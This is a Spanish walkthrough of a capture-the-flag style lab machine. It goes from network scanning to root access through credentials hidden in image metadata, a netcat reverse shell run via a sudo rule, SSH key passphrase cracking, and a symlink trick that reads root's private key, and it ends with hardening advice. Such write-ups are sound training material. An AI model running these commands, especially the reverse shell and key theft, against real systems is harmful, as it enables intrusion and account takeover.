Laboratorio Guiado - 07-visions

Objetivo: Evaluar la seguridad de un sistema Linux expuesto en una red local simulada. El ejercicio contempla reconocimiento, enumeración, explotación local y escalada de privilegios hasta obtener acceso root, explotando divulgación de información mediante metadatos (**esteganografía**), **contraseñas débiles** y **configuraciones inseguras de sudo**. El laboratorio sigue la metodología de **OWASP Testing Guide v4** (Enlace a la máquina).

---

1. Information Gathering - OTG-INFO-001

1.1 Identificación del objetivo

Se utiliza `arp-scan` para descubrir dispositivos activos en la red local. Filtramos los resultados con `grep` y awk para extraer la IP de un dispositivo identificado como "PCS":

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
192.168.1.119
```

---

2. Port Scanning - OTG-INFO-003

2.1 Enumeración de puertos TCP

Se realiza un escaneo completo de todos los puertos TCP (`-p-`) con un escaneo SYN (`-sS`), omitiendo resolución DNS y detección de host, para una exploración rápida y silenciosa:

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts
192.168.1.119

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:7E:2B:91 (Oracle VirtualBox virtual NIC)
```

2.2 Detección de servicios y versiones

Se lanza un escaneo más enfocado (`-sCV`) sobre los puertos identificados, buscando versiones y posibles scripts NSE disponibles:

```
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.119

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 85:d0:93:ff:b6:be:e8:48:a9:2c:86:4c:b6:84:1f:85 (RSA)
|   256 5d:fb:77:a5:d3:34:4c:46:96:b6:28:a2:6b:9f:74:de (ECDSA)
|_  256 76:3a:c5:88:89:f2:ab:82:05:80:80:f9:6c:3b:20:9d (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3. Web Application Fingerprinting - OTG-INFO-004

3.1 Análisis de contenido HTML

Al ingresar al sitio web en el puerto 80, encontramos un mensaje oculto en el código fuente, lo cual podría representar una pista:

```
<!--
Only those that can see the invisible can do the imposible.
You have to be able to see what doesnt exist.
Only those that can see the invisible being able to see whats not
there.
-alicia -->
...
<img src="white.png">
```

---

4. Metadata Analysis - OTG-INFO-007

4.1 Análisis de metadata en imagen

Se inspecciona el archivo `white.png` con `exiftool`, revelando una contraseña en el campo `Comment`:

```
❯ exiftool white.png

...
Comment     : pw:ihaveadream
...
```

4.2 Análisis binario y oculto

Se analiza con la herramienta online https://www.aperisolve.com, encontrando una cadena relevante:

```
sophia/seemstobeimpossible
```

---

5. Testing for Credentials - OTG-AUTHN-002

5.1 Acceso SSH con credenciales obtenidas

Se logra acceso exitoso como el usuario `alicia` usando la contraseña descubierta:

```
❯ ssh alicia@192.168.1.119

alicia@192.168.1.119's password: ihaveadream
...
alicia@visions:~$
```

---

6. Enumerating Users - OTG-INFO-002

6.1 Visualización de usuarios en el sistema

Se listan todos los usuarios con shell interactiva (`/bin/bash`):

```
alicia@visions:~$ cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
emma:x:1000:1000:emma,,,:/home/emma:/bin/bash
alicia:x:1001:1001:,,,:/home/alicia:/bin/bash
sophia:x:1002:1002:,,,:/home/sophia:/bin/bash
isabella:x:1003:1003:,,,:/home/isabella:/bin/bash
```

---

7. Testing for Privilege Escalation - OTG-PRIV-002

7.1 Revisión de privilegios con sudo `-l`

Se descubre que el usuario `alicia` puede ejecutar `nc` como `emma` sin contraseña:

```
alicia@visions:~$ sudo -l

Matching Defaults entries for alicia on visions:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User alicia may run the following commands on visions:
    (emma) NOPASSWD: /usr/bin/nc
```

---

8. Command Injection (reverse shell) - OTG-INPVAL-013

8.1 Reverse shell para moverse lateralmente

Se aprovecha la capacidad de ejecutar `nc` para obtener una shell como `emma`:

```
alicia@visions:~$ sudo -u emma nc 192.168.1.7 1234 -e /bin/bash
&>/dev/null & disown
```

Desde el atacante:

```
› ncat -nlvp 1234

Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.119:49630.
script /dev/null -c bash
Script started, file is /dev/null
emma@visions:/home/alicia$ export TERM=xterm
export TERM=xterm
emma@visions:/home/alicia$
```

9. Uso de credenciales adicionales - OTG-AUTHN-004

9.1 Acceso como sophia

Usando la cadena `seemstobeimpossible` previamente obtenida, se logra acceder con su:

```
alicia@visions:~$ su sophia
Password: seemstobeimpossible

sophia@visions:/home/alicia$
```

---

10. Escalada de privilegios con sudo - OTG-PRIV-002

10.1 Acceso a archivo restringido como root

Se descubre que el usuario `sophia` puede leer un archivo privado de `isabella`:

```
sophia@visions:~$ sudo -l
Matching Defaults entries for sophia on visions:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User sophia may run the following commands on visions:
    (ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible
```

Al ejecutarlo:

```
sophia@visions:~$ sudo cat /home/isabella/.invisible

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
```

---

11. SSH Key Weakness - OTG-CRYPST-002

11.1 Cracking de passphrase de clave privada

Se convierte la clave para `john`, y luego se crackea la passphrase:

```
❯ ssh2john.py id_rsa_isabella > hash

❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash

...
invisible        (id_rsa_isabella)
...
```

Se logra acceso por SSH:

```
❯ ssh isabella@192.168.1.119 -i id_rsa_isabella
Enter passphrase for key 'id_rsa_isabella': invisible

isabella@visions:~$
```

---

12. Abuso de enlaces simbólicos para escalada - OTG-PRIV-003

12.1 Abuso de symlink para robar clave privada del root

Se reemplaza el archivo `.invisible` por un enlace simbólico al `id_rsa` de root:

```
isabella@visions:~$ mv .invisible .invisible_bak

isabella@visions:~$ ln -s /root/.ssh/id_rsa .invisible
```

Desde `sophia`, se utiliza `cat` para leer la clave privada de root:

```
sophia@visions:~$ sudo cat /home/isabella/.invisible

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
```

12.2 Acceso como root

Se utiliza la clave privada para conectarse como root:

```
❯ ssh root@192.168.1.119 -i id_rsa_root

root@visions:~#
```

13. Recomendaciones de Seguridad

OTG-CRYPST-001 – Esteganografía como canal de fuga

- Restringir la subida o transferencia de imágenes y medios sin inspección previa.
- Implementar herramientas DLP para detectar datos ocultos o metadata sensible.

OTG-AUTHN-004 – Contraseñas débiles y claves sin passphrase

- Forzar claves SSH con passphrase robustas.
- Aplicar autenticación multifactor (MFA) para usuarios remotos.
- Imponer políticas de rotación frecuente para claves y contraseñas.

OTG-ACCESS-001 – Abuso de capacidades

- Revisar y eliminar capacidades innecesarias (`setcap -r /usr/bin/...`).
- Auditar capacidades activas usando `Lynis`, `auditd` o `getcap`.

OTG-PRIV-001 – Binarios suid inseguros

- Remover permisos SUID de binarios innecesarios (`chmod -s`).
- Implementar `AppArmor` o `SELinux` para restringir ejecuciones privilegiadas.

OTG-INFO-002 – Servicios expuestos innecesariamente

- No confiar en cambiar puertos como medida de seguridad.
- Usar firewall para limitar acceso por IP y puerto.
- Auditar puertos abiertos con regularidad.

Revisión General del Sistema

- Restringir SSH a IPs confiables (con `AllowUsers` o `firewalld`).
- Habilitar monitoreo de logs y detección de intrusos (ej. `Wazuh`, `Snort`).
- Configurar backups automáticos y cifrados.
- Verificar la integridad de archivos sensibles con herramientas como `AIDE`.